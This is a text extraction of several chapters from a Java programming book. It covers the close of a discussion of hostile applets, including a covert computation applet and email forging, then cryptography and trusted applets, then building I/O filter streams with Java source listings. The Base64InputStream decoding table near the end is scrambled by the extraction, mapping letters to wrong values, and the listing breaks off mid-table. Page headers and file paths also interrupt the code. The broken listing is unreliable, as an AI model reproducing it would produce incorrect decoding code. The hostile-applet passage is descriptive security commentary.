At first glance DoMyWork.java does not appear to be such a hostile applet. But while it does not attempt to annoy you and squander your resources, it stealthily puts your workstation to work for someone else, perhaps a business competitor, a criminal, or even a foreign government. Clearly someone could do the same thing with any Java program that he or she wanted you to run. To create an applet that does other work, you can replace the class GetFactor by some other class or classes, and you can adjust the classes Report and ReportServerSocket to handle whatever data you would like returned. This possibility raises a tangled web of unaddressed legal and ethical questions, and it is at least conceivable that running such an applet might be illegal in some situations. For example, suppose that a federal employee, say from NASA, happens to download an applet which begins using government resources for private ends. Have any laws been broken, and if so, who is the guilty party? Now suppose that instead of factoring integers, the applet farms out pieces of a brute force attack to decrypt some financial information, and suppose that an FBI agent, doing a little lunchtime browsing, happens to download the applet running this decryption program. Now what laws are being broken, and who is responsible? From these possibilities you see that DoMyWork.java is another very hostile applet. You have already seen good reasons why applets may need further restrictions upon the network connections that they are allowed to make. Applets which are allowed to connect to port 25 can forge electronic mail, and applets connecting to port 23 for telnet run the risk of revealing passwords. The present example shows that even allowing applets to establish connections to other ports on their home hosts entails risks.

Summary
This chapter has taken a hacker's approach to Java, and introduced the subject of hostile applets. It started by discussing some recent hostile applets developed by Princeton researchers, and then went on to consider a diverse collection of others: the Noisy Bear, a trio of gluttonous browser killers, a nasty "big windows" attack, the Applet Killer, an e-mail forger that gets user names, and one that silently exploits your system's resources. Clearly applets need not seek the Hackers' Holy Grail of altering, reading, and deleting files in order to be hostile. Sometimes it can be advantageous just to exploit someone's resources silently, and at other times simply being annoying and disruptive can achieve some ends. Hostile applets come in many varieties, and it is a very difficult task to build effective defenses against them all. Although hostile applets are not yet lurking just around every corner of the World Wide Web, that may change in the future. Various kinds have already appeared on the Web and are now readily available, and in the future more are certain to appear. The time to begin thinking seriously about them and building better defenses against them is now. It is clear that browsers must give their users more effective means for controlling applets and their threads. It is also clear that further restrictions will be needed on the network
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (39 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

connections that applets are allowed to make. As drastic changes in Java seem unlikely at this time, and as a system of trusted sources may not appear in the near future, the Java community will be forced to battle hostile applets in other ways. This chapter sought to expose, by means of concrete examples, several of the problems that remain to be faced.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (40 of 40) [8/16/02 8:36:06 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

Chapter 22
Authentication, Encryption, and Trusted Applets

CONTENTS
G G G G G

Cryptography Basics Security Mechanisms Provided by java.security Enabling Trusted Applets Cryptographic Security Solves Everything, Right? Summary

The security that Java provides against malicious code is one of the language's biggest selling points. You can download programs over the network, automatically, perhaps even without realizing that it's happening, without serious risk of loss or theft of valuable information. Think of the possibilities! Unfortunately, once you start thinking about it, the possibilities are somewhat limited unless the security can be relaxed somewhat. An applet that can't do anything dangerous can't do much that's useful either. In previous chapters, you learned ways of loosening security restrictions in controlled ways, but how do you decide which applets get the special privileges? How do you know whom you can trust, and how much? Other problems hinder the development of really useful applets. Many useful applications, for instance, need to send sensitive information across the Internet. Even if the applet and its provider are trusted, having some way of protecting that information from eavesdroppers on the network is important. Fortunately, you can use cryptography to solve these problems. Even more fortunately, a package of useful classes that provide the cryptographic building blocks for solutions is being developed by Sun and will probably be a part of the core Java library at some point, so applets and applications can rely on its availability in any Java environment. By the time you read this chapter, the java.security package may be available. In this chapter I discuss some of the security problems in more detail, with suggested strategies for solving them. I do discuss the java.security package, but because the package interface is still unstable as

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (1 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

I write this chapter, I'll stay away from details in favor of more general discussions of capabilities and the way the java.security package will interact with and augment the Java security architecture of security managers and class loaders.

Cryptography Basics
Before I go into the details of cryptographic security as it relates to Java, you need to know a few basics about cryptography in general. Because this book isn't about cryptography, I won't go into great depth, and I will certainly stay far away from the complex math involved. The java.security package hides all these details anyway, so the level of discussion presented here is sufficient for most developers. Encryption is the process of transforming a message in such a way that it cannot be read without authorization. With the proper authorization (the message's key), the message can be decrypted and read in its original form. The theories and technologies of encryption and decryption processes are called cryptography. Modern cryptography has its basis in some pretty heavy mathematics. Messages are treated as very large numbers, and an original, readable message (the plaintext) is transformed into an encrypted message (the ciphertext) and back again by means of a series of mathematical operations using the appropriate keys. The keys are also large numbers. All this math means that cryptography is a somewhat specialized field, but it also means that computers are good cryptographic tools. Because computers treat everything as numbers (at some level), cryptography and computers go together well. The obvious use for encryption is to keep secrets. If you have a message that you need to save or send to a friend, but you don't want anyone else to be able to read it, you can encrypt it and give the key only to the people you want to trust with the secret message. Less obvious, but just as important, is the possibility of using cryptography for authentication: verifying someone's identity. After you know how to keep secrets, authentication comes naturally. For centuries, people have proved their identities to each other by means of shared secrets: secret handshakes, knocks, or phrases, for example. If you were to meet someone who claimed to be a childhood friend, but who had changed so much that you didn't recognize him, how would he go about convincing you? Probably by telling you details of memorable experiences that you shared together, alone. The more personal, the better-the more likely that both of you would have kept the secret through the years. Cryptographic authentication works the same way: Alice and Bob share a key, which is their shared secret. To prove her identity, Alice encrypts an agreed-upon message using that key and passes on the encrypted message. When Bob decrypts it successfully, it is proof that the message originated from someone who shares the secret. If Bob has been careful to keep the secret and trusts Alice to do the same, then he has his proof. You may have noticed in the preceding two paragraphs that keeping secrets and proving identity both depend on keeping other secrets: the keys. If some enemy can steal a key, he or she can read the secret

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (2 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

messages or pretend to be someone else. Thus, key security is very important. Worse still, for most uses of cryptography, keys must be traded between people who want to communicate securely; this key exchange represents a prime opportunity for the security of the keys to be compromised. Conventional cryptographic algorithms are symmetric: that is, the same key is used for both encryption and decryption. More recently, researchers have developed asymmetric public-key cryptographic algorithms that use key pairs: if a message is encrypted with one key, it must be decrypted with the other key in the pair. The two keys are related mathematically, but in such a complex way that it's infeasible (too costly or time consuming) to derive one key from the other, given sufficiently long keys. Public-key cryptography simplifies key management immensely. You can treat one of the keys in the pair as your public key and distribute it widely, keeping the other as your secret key, known only to you. If Bob wants to create a message that only Alice can read, he can encrypt it using her public key. Because the public key can't be used to decrypt the message, others who also know Alice's public key can't read it, but Alice, using her secret key, can. Then, if Alice wants to prove her identity to Bob, she can encrypt an agreed-upon message with her secret key. Bob (or anyone else) can decrypt it with her public key, thus demonstrating that it must have been encrypted with her secret key. Because only Alice knows her secret key, the message must really have come from her. Public-key cryptography sounds unlikely and almost magical when you first encounter it, but it's not such an uncommon idea. Your own handwritten signature is somewhat like a key pair. Many of the people and organizations you deal with regularly might recognize your signature (or have a copy on file for comparison), making the appearance of your signature a sort of public key. Actually placing your signature on a new piece of paper, however, is a skill that only you have: that's the secret key. Of course, signatures can be forged, but the point is that for all but one person, creating the signature is pretty difficult, whereas having anyone verify it is easy. Public-key cryptography makes possible the creation of digital signatures that work in much the same way, except that forging a digital signature is much more difficult. If Alice wants to apply a digital signature to a document before sending it to Bob, a simple way for her to do so is to encrypt the document with her secret key. Because many people know her public key, the document isn't private-anyone with Alice's public key can decrypt it and read the contents (applying another layer of encryption with another key is possible, to produce a document that is both signed and private). When Bob successfully decrypts the message with Alice's public key, that action indicates that the message must have originally been encrypted with her secret key. What makes this effective as a signature is that, because only Alice knows her secret key, only she could have encrypted it in the first place. Many other details enter into practical use of cryptography, of course. For several reasons, practical digital signatures are not as simple as the preceding example. Even with public-key cryptography, key management and security are important (and tricky) issues. Furthermore, public-key cryptography is much more complicated (and thus much slower) than symmetric cryptography, so symmetric

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (3 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

cryptography still has an important role to play. One serious complication is that, unlike most computer algorithms, most good cryptographic algorithms come with legal entanglements. Many are protected by patents, so they must be licensed from the patent holders. The United States government considers implementations of strong encryption algorithms to be in the same category as munitions, and it places heavy restrictions on their export (even though many of the best algorithms were invented outside the U.S.). Some other governments prohibit the use of strong cryptography except for purposes of authentication, and a few governments ban it entirely. There are bills currently pending in the U.S. Congress to lift the export restrictions, but those bills haven't become law yet, and the U.S. government's cryptography export policy is one of the factors currently delaying the release of the java.security package. Fortunately, the package will hide most of the technical complications, and the Java license will explain all the legal and political details. The rest of this chapter covers the basics of how you can use the java.security package with the rest of the Java library to make it possible for applets to do really useful work.

Security Mechanisms Provided by java.security


The java.security package provides five separate but related services: encrypted data, digital signatures, secure channels, key exchange, and key management.

Encrypted Data
Using either symmetric or public-key encryption algorithms, Java programs can use the java.security package to encrypt and decrypt data buffers using specified keys. The encryption facilities can also be used in filtered I/O streams, so files or sockets can be encrypted or decrypted transparently during input and output operations (see Chapter 5, "Building Special-Purpose I/O Classes" for more information). When encrypted two-way communication is necessary, creating a secure channel may be better, as described later in this chapter.

Digital Signatures
Signatures are used as proof that a communication-whether legal or personal-came from a particular individual or organization. You can apply digital signatures to any kind of electronic document, whether they are text files, binary data files, or even short tokens used for authentication. In many cases, digital signatures can provide much stronger guarantees than conventional signatures: a digital signature can show not only that a particular entity signed a document but also that the document has not been modified by a third party since it was signed. The java.security package provides facilities for applying digital signatures and for verifying them.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (4 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

Secure Channels
A secure channel is a communication channel that is both authenticated and encrypted. The authentication ensures that the party on the other end of the communication is genuine, and not some impostor; the encryption ensures that a third party eavesdropping on the channel cannot understand the communication. Establishing a secure channel involves trading proof of identity (using small messages with digital signatures), after which the two parties can agree on a key to be used to encrypt all the subsequent communication on the channel. After the channel is successfully established, communications are automatically encrypted before transmission and decrypted upon reception. Facilities for easily establishing secure channels with other entities are provided as a part of java.security.

Key Exchange
Effective use of the facilities mentioned in the preceding section requires that encryption keys be exchanged between two parties. Secure channels, in particular, require that two parties exchange a conventional, symmetric encryption key (the session key), which is used to encrypt the communication on the channel and is then thrown away when the channel is destroyed. The key must be exchanged on an open channel, however, because the channel can't be secured until the key has been exchanged. Cryptographers have developed mechanisms for two parties to exchange keys securely on open channels. The secure channel implementation uses these mechanisms transparently, but the java.security package also makes the key exchange mechanism available for direct use by programmers.

Key Management
Session keys for secure channels are used once and thrown away, but other keys, especially secret keys and the public keys of other people or groups, must be stored and used repeatedly. Such keys are useless unless you keep track of whom they belong to, and they are also useless if they aren't stored securely. If someone can steal your secret key, then he or she can read your private communications and impersonate you, and if someone can modify a public key that you hold, then he or she can substitute his or her own public key, making it easy to impersonate others in interactions with you. The java.security package provides key management facilities that help to maintain this key security.

Enabling Trusted Applets


Applets and applications can use all these facilities to perform secure operations across the network in fairly straightforward ways. But I previously mentioned that java.security features can be used to loosen the security boundaries for trusted applets so that they can do useful work. How can you accomplish that task? Chapter 21, "Creating a Security Policy," explains that Java security enforcement in Java is largely the

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (5 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

responsibility of the security manager, with help from class loaders. The class loaders keep track of the source of each class currently loaded into the virtual machine, and the security manager uses that information to decide whether a class is allowed access to particular resources. In early Java applications, the "source" of a class meant the Internet host from which the class was loaded. But that criterion is not a particularly useful one on which to base trust. Classes can be copied from site to site, and because many sites are insecure, even classes from trusted machines might not really be trustworthy. And because that's such a poor way to determine the origin of a class, current applications are (justifiably) paranoid: if a class was loaded from a local directory in the CLASSPATH, the class is trusted; otherwise, it isn't. If you want to trust a dynamically loaded class, either partially or completely, the really important information isn't where the class resides on the network, it's who wrote the class (or, in a more general sense, who takes responsibility for it). Digital signatures provide a way to determine the real source of a class with some degree of confidence. It's easier to see how this might work using a concrete example. Assume that you trust the kind folks at GoodGuys, Inc. (GGI) to write well-written, trustworthy software that doesn't steal or destroy your data (I examine whether such blanket trust is reasonable later in this chapter). From GGI, you get their public key, and using some application-specific configuration mechanism, you give the public key from GoodGuys to your Java-based Web browser and inform it that GGI is an entity you trust completely. Meanwhile, hard-working GGI programmers have just finished a terrific applet, and a "signature officer" at GGI uses their secret key to sign the Useful.class file, which contains the applet's code, and places it on their Web server. Next, the class loader in your browser can load the digitally signed class file, verifying the signature against the list of known entities using the java.security facilities. If the signature turns out to be a valid signature from GoodGuys, the class loader can be certain that the class really came from that company, and because digital signatures provide strong guarantees, the class loader can be sure that nobody else has modified the class because it was signed by a GoodGuys employee. Later, when that class requests access to a secured local resource (such as your financial database), the security manager will ask the class loader where the class came from, and the class loader can confidently report to the security manager that the class came from GoodGuys, Inc. Then, when the security manager sees in the configuration database that you trust that company, it allows the access.

Cryptographic Security Solves Everything, Right?


The java.security package provides many useful building blocks. Those building blocks, coupled with the Java security model, permit you to build Java applications that make better use of network resources than before, enlisting applets to extend the basic application functionality. You also can use these building

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (6 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

blocks to build applications that participate in electronic commerce-perhaps agents that carry out transactions on behalf of a user, or downloadable applications that are rented for a small per-use fee instead of purchased. These capabilities are possible without encryption-based security features, but they simply aren't practical because abusing them is too easy, and the potential for loss is too great. Careful use of cryptographic facilities can raise serious security barriers against thieves and vandalsserious enough to make many new kinds of applications feasible. But the security still won't be perfect, just as the security at your bank, although hopefully very good, isn't perfect. Having realistic expectations about cryptographic security is important. Even in nonelectronic life, security has its price; it doesn't happen magically. Locking your door when you leave the house is a bit of an inconvenience, and unlocking it again when you return is a little more trouble. Unless you're fortunate enough to live someplace that is relatively idyllic, you've probably cultivated the habit of locking your door, so you don't really notice the inconvenience any more. But if you happen to lose your key or lock it inside your house, the inconvenience of security measures comes back to you full force. Electronic security is no different. It requires a little bit of trouble, and a little vigilance, for users (whether they be individuals or organizations) to secure their systems, and it requires thought and discretion to decide who to trust and how much. And, as mentioned previously, security still won't be perfect. Just as a determined criminal can ultimately find a way to defeat any physical lock, people will find ways to get around cryptographic security measures. Some of the most effective ways to do so are decidedly low-tech. A classic example is the socalled "social engineering" attack, in which people call employees on the phone and pretend to be other employees, asking questions that would be innocuous coming from a real employee but that give the attackers valuable information. Often the attack progresses in stages-the first encounters might yield only harmless information, but even that information can help the attackers to be more convincing in later probes. Eventually, the attackers might learn passwords or other important network security information from an unsuspecting employee who is convinced that the caller is a highly placed company employee. No technological security solution is completely effective against such attacks. Key management is currently the weakest point in many encryption-based security systems. Researchers will surely find ways to improve security over time, and as people become more familiar with computers, they might become more sophisticated in their responses to people who call and ask for information on the telephone, but perfect security will never come. In the earlier section "Enabling Trusted Applets," I gave an example showing how an application can grant trust to an applet, based on digital signatures and configuration options specified by the application's user. The user in the example decided to trust any applet that came from GoodGuys, Inc. Does granting a company complete trust like that make sense?

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (7 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

The fact is, people do that all the time today. We tend, rightly or wrongly, to think of software vendors as reasonably trustworthy. If, while browsing in a computer store, I see a new program for sale and it looks as though it does something that would be useful to me (or maybe I just think it looks cool), I might be tempted to buy it, bring it home, and install it on my computer. I might ask myself a lot of questions first: "Do I really need this? Is it worth the price? Do I have enough disk space?" But I'm not accustomed to asking "Is this company trustworthy? Is this thing going to reformat my hard drive? Is it going to steal my private e-mail archive and send it to the company headquarters the next time I connect to the Internet?" Occasionally, a software company does something that does weaken the trust people place in them. Several companies have carelessly shipped viruses to their customers on their software installation disks. Many consumers lost some of their trust in Microsoft when it was revealed that The Microsoft Network software shipped with early beta versions of Windows 95 would collect information about software packages installed on users' computers and send the information back to Microsoft. Where applets are concerned, similar adjustments can occur. A user might start out trusting a familiar company, but if an applet from that company does something unscrupulous (or just careless), the trust could vanish. Furthermore, in the Internet environment, word can spread among users more easily: "Don't trust applets from ShadyCo-you'll get burned like I did!" The important point is that security doesn't have to be perfect. Flaws in physical security (for example, the ability to hot-wire cars to start them without a key) cause everyone problems from time to time, and people are always working to improve the situation, but by and large, we get along well, even with the flaws. The reason is that we adapt our security measures to fit the value of the things that are being protected and the inconvenience we can live with, so that the more valuable an item, the more difficult it is to subvert the security barriers surrounding it. In addition, we establish penalties for those who break and enter, or steal, or destroy what is not their own. We are always struggling to get the balance right, but in most cases our property and well-being are successfully protected by the combination of troublesome barriers and the risk of penalty in case of failure. So it is with computer security. You probably have data on your computer that is so important to you, so valuable, that you trust nobody with it. (Your personal secret key might be a good example.) You are very careful with that data, and you don't mind some inconvenience associated with using it, if security accompanies that inconvenience. Other data, though, might be less valuable, and less stringent security measures apply in the interest of getting more work done. A reasonable level of security doesn't have to be a serious inconvenience, and as you learn to understand computer security better, you should be able to achieve higher levels of security before it starts to get in the way. Nevertheless, truly strong security will always take work, and it will never be free.

Summary
Applets that display animated coffee cups are fun, and they have definitely helped to make the Web more interactive and interesting, but developers and users alike are clamoring for applets that do more, that can
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (8 of 9) [8/16/02 8:36:10 AM]

Chapter 22 -- Authentication, Encryption, and Trusted Applets

actually help users be productive by doing some of the things applications do today. Especially when it comes to small tasks that might not be needed very often, such as specialized effects in an image processing program, the idea of using an applet that can be downloaded on demand and then thrown away is attractive. But for applets to do such useful things, users have to grant them some privileges, and before wise users grant those privileges, they need some way of knowing where the applet came from. That information is important because users don't want to trust applets from people or organizations they know nothing about, and also because they want to know who to be angry with should their trust turn out to be misplaced. Additionally, applets need some way of communicating securely with servers and some way to know that they are communicating with the right server. Such capabilities are necessary for many simple clientserver applications, as well as more advanced applications, such as those involving electronic commerce. The java.security package, currently being developed by JavaSoft and soon to be a part of the core Java library, provides basic security facilities that are necessary to solve these problems. Using both symmetric and public-key encryption technology, the package provides primitives for encryption and decryption, applying and verifying digital signatures, establishing secure communication channels, and exchange and management of encryption keys. The facilities in the java.security package are just building blocks, but they are essential ones. Using these facilities, combined with the Java security model and the information in the other chapters in this section, you can build applets that perform valuable services worth paying for and the applications that can host them.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch22.htm (9 of 9) [8/16/02 8:36:10 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

Chapter 5
Building Special-Purpose I/O Classes

CONTENTS
G G G G

Stream Classes Non-Stream I/O Classes Highly Structured Files Summary

The Java I/O library is designed so that you can extend it to work well with the kind of data you are using. You can extend the Java I/O system in several different ways. You can implement a file-like interface to an object that is not a file (for example, an in-memory array of bytes). You can create a filter stream, which is a special kind of I/O stream class that can transform or perform other special handling on the input or output of an existing data stream. You also can implement a class that reads and interprets a structured file, permitting an application to treat the file as a data structure, rather than having to interpret the format itself. This chapter explores the Java I/O system and the ways that you can enhance it to meet your own needs.

Stream Classes
Java I/O is based largely on I/O streams, which provide a mostly sequential view of file-like objects. The two basic stream classes are java.io.InputStream and java.io.OutputStream. They are fairly simple classes that permit reading or writing data as bytes. The majority of the classes in the java.io package extend one of those two classes. InputStream and OutputStream are abstract classes, and the interface they provide is rather simple and abstract. They permit reading and writing single bytes or arrays of bytes-no other data types are permitted. Readers can query how many bytes are available for reading without blocking. In addition, the InputStream class provides the interface (but not the implementation) for the mark mechanism-a simple, yet versatile, lookahead interface. Subclasses aren't required to support marks. If subclasses do not support marks, they must simply return false when their markSupported method
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (1 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

is called. If they do support marks, the caller can invoke the mark(readlimit) method, which tells the input stream to save the current position and prepare to save the next bytes that are read. The parameter, readlimit, is an integer which specifies the maximum number of bytes that the stream will need to save. If the reset method is called before readlimit bytes have been read (and before the mark method is called again), the stream must back up to the marked position in the stream.

Sources and Sinks


It was mentioned previously that the basic I/O stream classes are abstract classes that need to be extended before they're useful. The first thing that you might notice about them is that they don't provide any mechanism for attaching the streams to any real data objects, such as files or network connections. That's the job of several extended stream classes, which I call source and sink classes. Source classes provide access to data sources, and sink classes provide destinations for output operations. The sources and sinks that are included as a part of the Java library, and the kinds of data objects to which they connect, are listed in Table 5.1. Table 5.1. Java Source and Sink I/O Streams. Class Names FileInputStream FileOutputStream ByteArrayInputStream ByteArrayOutputStream PipedInputStream PipedOutputStream SequenceInputStream StringBufferInputStream java.net.SocketInputStream java.net.SocketOutputStream Type of Data Object Disk file In-memory arrays of bytes These two classes connect to each other Several other streams, in sequence A StringBuffer instance Network sockets

The PipedInputStream and PipedOutputStream classes are interesting because they connect to each other, enabling one part of your Java program to read output produced by another part. Usually the two parts that use the piped streams (called the producer and the consumer) are in different threads, to minimize the possibility of causing a deadlock. However, even in different threads, it's possible to have a deadlock. For example, the consumer might be blocked while waiting on the producer to write more data, while at the same time the producer can't finish computing the data until the consumer takes some additional action. Use the piped streams with care. (See Chapter 6, "Effective Use of Threads," for more information about using Java threads.) As an example of how one of these classes would typically be used, here is a code fragment that opens a
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (2 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

file and reads the first four bytes (ignoring the possibility of exceptions): InputStream f = new FileInputStream("Applet.class"); byte sig[] = new byte[4]; f.read(sig); Figure 5.1 depicts the relationships between the stream classes listed previously and their data objects. Figure 5.1 : Relationship between streams and data objects.

Filter Streams
In the table of source and sink streams, two very important ones are omitted. Strictly speaking, they belong in that table, because they do provide another way to connect an I/O stream to a data object. However, they are so useful that they also can be thought of as something much more. InputFilterStream and OutputFilterStream are source and sink classes that use other streams as their data objects. Filter streams can extend the interface of an existing stream object, transform the data as it is read or written, or transparently provide some useful service such as buffering. Because they are themselves streams, they can use other filter streams as data objects. This means that you can compose the functions provided by filter streams by chaining several of them together into a new, composite filter. Figure 5.2 illustrates the idea. Figure 5.2 : Input and output filter streams. Like the basic InputStream and OutputStream classes, FilterInputStream and FilterOutputStream are abstract classes, so subclasses are required if they are to do anything useful. There are several useful filter streams supplied with the Java library, however. The functions of the filter streams differ more strongly than the sources and sinks do, so it makes more sense to explain them than to list them in a table. The BufferedInputStream and BufferedOutputStream classes provide I/O buffering. The basic source and sink streams of the Java I/O system don't provide any buffering; when they are asked to read or write some data, they immediately pass the request on to the underlying data object. When the object is a file or network connection, that strategy can result in poor performance. An instance of one of the buffered stream classes maintains an internal buffer and uses the buffer to satisfy I/O requests whenever possible. Only when the buffer is empty (in the case of an input stream) or full (in the case of an output stream) is the underlying source or sink invoked again. Typically, when you create a filter stream, you pass the next stream in the chain to the new filter stream when it is initialized:
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (3 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

InputStream f = new BufferedInputStream(new FileInputStream("Applet.class")); The DataInputStream and DataOutputStream classes provide a more structured interface to data. Unlike the other streams mentioned so far, the data streams don't restrict input and output to units of bytes. They provide interfaces for reading and writing the primitive Java datatypes, such as int, double, and boolean, in addition to a few other useful constructs, such as text lines and UTF (byteencoded Unicode) strings. The data streams read and write these objects in a binary format, but they do it in a portable way, so a file written using DataOutputStream on one machine can be read later using DataInputStream on another machine with a different architecture. LineNumberInputStream extends the basic stream functionality by keeping track of the line number from which text is currently being read. This can be very useful when writing a parser that needs to report line numbers along with error messages to help users find the source of problems. The PrintStream class extends the OutputStream interface by providing several methods for producing formatted textual output, including print and println methods for all the basic Java datatypes. PrintStream even provides a method for printing arbitrary objects (it calls String.valueOf(obj) to produce a printable representation of the object). The intent of the PushbackInputStream class is to provide lookahead interface that is slightly simpler (and less costly) than the full-fledged mark/reset mechanism described previously. When using the PushbackInputStream class, you are allowed to look ahead by only one byte. Instead of the mark and reset methods, a simpler unread method is available, which takes a single byte as an argument. Calling unread more than once between calls to read results in an IOException being thrown.

Editing, Transformation, and Selection with Streams


Most of the streams included in the Java library are simple utility streams. It's possible to build much more sophisticated streams, however. You can build streams that edit raw data to cast it into a new form; one example would be a source code pretty-printing class. Other streams might translate data into an entirely different format. It's also possible to build filter streams that perform a more conventional type of filtering, letting only lines, words, or records that meet certain criteria pass through. The really useful thing about all these various stream classes is that each of them inherits from one of the base classes InputStream and OutputStream, so they can be treated as instances of those types when desired. If you need to call a method that takes one of those two base classes as a parameter, and you don't want to give that method the raw data stream, you can simply tack a filter stream (or a whole chain of them) onto the original stream and pass the last filter stream into the method.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (4 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

An Example FilterStream
To demonstrate how to build a filter stream, let's look at a class that decodes a stream that is encoded in "base64" format. Base64 is an encoding format designed for the Multipurpose Internet Mail Extensions (MIME) standard to permit binary data to be sent through electronic mail without being garbled. It is similar to the UNIX "uuencode" format, but base64 is better defined, and its designers were careful to use only characters that would not be changed or dropped by existing mail gateways. I've chosen Base64 for an example because it's an extremely simple format, so the details of the format conversion won't obscure the basic techniques for building a stream class. An Internal Filter The Base64InputStream class illustrates one handy but atypical use of filter streams. Commonly, application code is in control of all the filters in the chain of streams. It's useful in this case, though, for the decoding stream to slip another stream into the chain, to partition the task. The base64 specification recommends that whitespace characters (space, tab, carriage return, linefeed, and formfeed) be ignored in base64-encoded files. If there's another stream class ahead of the decoder, which strips out all whitespace, we can avoid having to worry about that in the center of our decoding routine. Listing 5.1 contains the WSStripInputStream class.

Listing 5.1. WSStripInputStream.java. /* * WSStripInputStream.java Vanderburg */ package COM.MCP.Samsnet.tjg; import java.io.*; /** * An input stream which strips out all whitespace characters. * * @version 1.0, 25 Jan 1996 * @author Glenn Vanderburg */ class WSStripInputStream extends FilterInputStream {

1.0 96/01/25 Glenn

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (5 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

/** * Constructs a new WSStripInputStream initialized with the * specified input stream * @param in the input stream */ public WSStripInputStream(InputStream in) { super(in); } /** * Reads a byte of data. The method will block if no input is available. * @return the byte read, or -1 if the end of the stream is reached. * @exception IOException If an I/O error has occurred. */ public int read() throws IOException { // This is the routine that really implements the special // functionality of this class; the others just call this // one to get the data that they need. int c; do { c = in.read(); } while ((c == ' ' || c == '\t' || c == '\r' || c == '\n' || c == '\f') && c != -1); return c; } /** * Reads into an array of bytes. * Blocks until some input is available. * @param b the buffer into which the data is read * @param off the start offset of the data * @param len the maximum number of bytes read * @return the actual number of bytes read, -1 is * returned when the end of the stream is reached. * @exception IOException If an I/O error has occurred. */
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (6 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

public int read(byte b[], int off, int len) throws IOException { for (int i=off; i<len; i++) { int c = read(); if (c == -1) { return i - off; } b[i] = (byte) c; } return len; } /** * Skips bytes of input. * @param n bytes to be skipped * @return actual number of bytes skipped * @exception IOException If an I/O error has occurred. */ public long skip(long n) throws IOException { // Can't just read n bytes from 'in' and throw them // away, because n bytes from 'in' doesn't necessarily // correspond to n bytes from 'this'. for (int i=1; i <= n; i++) { int c = read(); if (c == -1) { return i - 1; } } return n; } /** * Returns the number of bytes that can be read without blocking. * @return the number of available bytes */ public int available() throws IOException { // We don't really know. We can ask 'in', but some of those bytes // are probably whitespace, and it's possible that all of them are.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (7 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

// So we have to be conservative and return zero. return 0; } }

The Base64 Decoding Filter Once the WSStripInputStream class is done, it's relatively easy to build the Base64InputStream class. This implementation sacrifices efficiency for simplicity. As a result, the only thing moderately complicated is the fill_buffer method, which does some error checking and then, if all is well, performs the actual decoding. Listing 5.2 contains the Base64InputStream class. It makes use of a special exception, BadFormatException; the code for the exception is available on the CD-ROM that comes with this book. (Following the code listing is a short discussion of some design decisions that could have been made differently.)

Listing 5.2. Base64InputStream.java. /* * Base64InputStream.java Vanderburg */ package COM.MCP.Samsnet.tjg; import java.io.*; /** * An input stream which decodes a base64-encoded file. * * @version 1.0, 17 Jan 1996 * @author Glenn Vanderburg */ public class Base64InputStream extends FilterInputStream { /* Base64 padding character */ static private byte pad = '=';

1.0 96/01/17 Glenn

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch5.htm (8 of 23) [8/16/02 8:36:19 AM]

Chapter 5 -- Building Special-Purpose I/O Classes

static private int BADchAR = -1; /* Base64 decoding table. */ static private int c[] = new int[256]; static { for (int i=0; i<256; i++) { c[i] = BADchAR; } c['A'] = 3; c['E'] = 4; c['F'] = 8; c['J'] = 9; c['K'] = c['O'] = 14; c['P'] = c['T'] = 19; c['U'] = c['Y'] = 24; c['Z'] = c['d'] = 29; c['e'] = c['i'] = 34; c['j'] = c['n'] = 39; c['o'] = c['s'] = 44; c['t'] = c['x'] = 49; c['y'] = c['2'] = 54; c['3'] = c['7'] = 59; c['8'] = 0; 5; c['B'] = 1; c['G'] = 6; c['C'] = 2; c['H'] = 7; c['D'] = c['I'] =

